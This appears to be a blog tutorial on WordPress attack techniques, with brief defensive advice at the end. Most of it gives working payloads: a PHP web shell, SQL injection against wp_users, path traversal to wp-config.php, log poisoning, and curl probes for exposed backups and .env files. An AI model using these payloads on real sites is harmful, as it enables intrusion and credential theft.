How Hackers Actually Hack WordPress: Data Extraction & Exploitation Techniques Explained
Table of Contents
Most WordPress security advice focuses on plugins and surface-level protection.
But real attackers think differently — they focus on data extraction, misconfigurations, and chaining vulnerabilities.
This article breaks down how hackers actually compromise WordPress sites, especially how they extract sensitive data from the server and use it to escalate attacks.
1. Reconnaissance: Mapping the Target
Before attacking, hackers gather as much information as possible.
Enumerating WordPress Version
curl https://example.com | grep "generator"Or:
curl https://example.com/readme.htmlKnowing the version helps match known vulnerabilities.
Listing Plugins & Themes
curl https://example.com/wp-content/plugins/Or brute-force detection:
wpscan --url https://example.com --enumerate p2. Extracting Data via wp-config.php Exposure
The most valuable file in WordPress:
wp-config.php
It contains:
- Database credentials
- Authentication salts
Common Misconfiguration Exploit
Backup or misnamed files:
curl https://example.com/wp-config.php.bak
curl https://example.com/wp-config.php~
curl https://example.com/.envIf accessible, attackers gain full database access.
3. Database Extraction (SQL Injection)
Poorly coded plugins often allow SQL injection.
Example Vulnerable Code
<?php
$id = $_GET['id'];
$wpdb->get_results("SELECT * FROM wp_posts WHERE ID = $id");Exploit Example
?id=1 UNION SELECT user_login,user_pass FROM wp_usersThis can expose:
- Usernames
- Hashed passwords
- Email addresses
4. User Enumeration via REST API
curl https://example.com/wp-json/wp/v2/usersAttackers collect valid usernames and launch targeted brute-force attacks.
5. File Upload Exploits
Many plugins allow file uploads without proper validation.
Malicious Upload Example
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data
file=shell.phpIf successful, attackers gain a web shell.
Simple PHP Shell
<?php system($_GET['cmd']); ?>6. Reading Server Files (LFI/RFI)
Local File Inclusion vulnerabilities allow reading sensitive files.
Example
?page=../../../../wp-config.phpThis exposes database credentials.
7. Log File Injection
Attackers inject code into logs and then include them.
Step 1: Inject Payload
GET /<?php system($_GET['cmd']); ?>Step 2: Include Log File
?page=/var/log/nginx/access.logThis executes the payload.
8. Exploiting Weak File Permissions
Incorrect permissions allow file modification.
Example
chmod -R 777 wp-content/Attackers can:
- Modify plugins
- Inject backdoors
- Replace core files
9. Extracting Data from Backups
Backup files are often publicly accessible.
curl https://example.com/backup.zip
curl https://example.com/site.sqlThese may contain full database dumps.
10. Chaining Vulnerabilities
Real attacks rarely rely on one vulnerability.
Example chain:
- User enumeration → brute force
- Access admin panel
- Upload malicious plugin
- Execute remote code
How Hackers Use Extracted Data
- Credential stuffing across other sites
- Privilege escalation
- Persistent backdoor installation
- SEO spam injection
- Cryptomining scripts
Defensive Measures
- Restrict access to sensitive files
- Disable directory listing
- Use prepared SQL statements
- Validate file uploads strictly
- Monitor logs for anomalies
Secure SQL Example
<?php
$wpdb->prepare(
"SELECT * FROM wp_posts WHERE ID = %d",
$id
);Block Access to wp-config
location ~* wp-config.php {
deny all;
}FAQ
What is the most common WordPress attack?
Brute force combined with plugin vulnerabilities.
Can hackers read my database without access?
Yes, through SQL injection or exposed backups.
Are nulled plugins dangerous?
Yes, they often contain backdoors.
Is WordPress insecure by default?
No, but misconfigurations and plugins introduce risk.
How do I know if my site is compromised?
Look for unknown files, unusual traffic, or modified content.
Final Thoughts
Understanding how hackers think is the key to securing WordPress.
Most attacks are not sophisticated — they exploit simple mistakes:
- Exposed files
- Poor coding practices
- Weak server configuration
Fix those, and you eliminate the majority of real-world threats.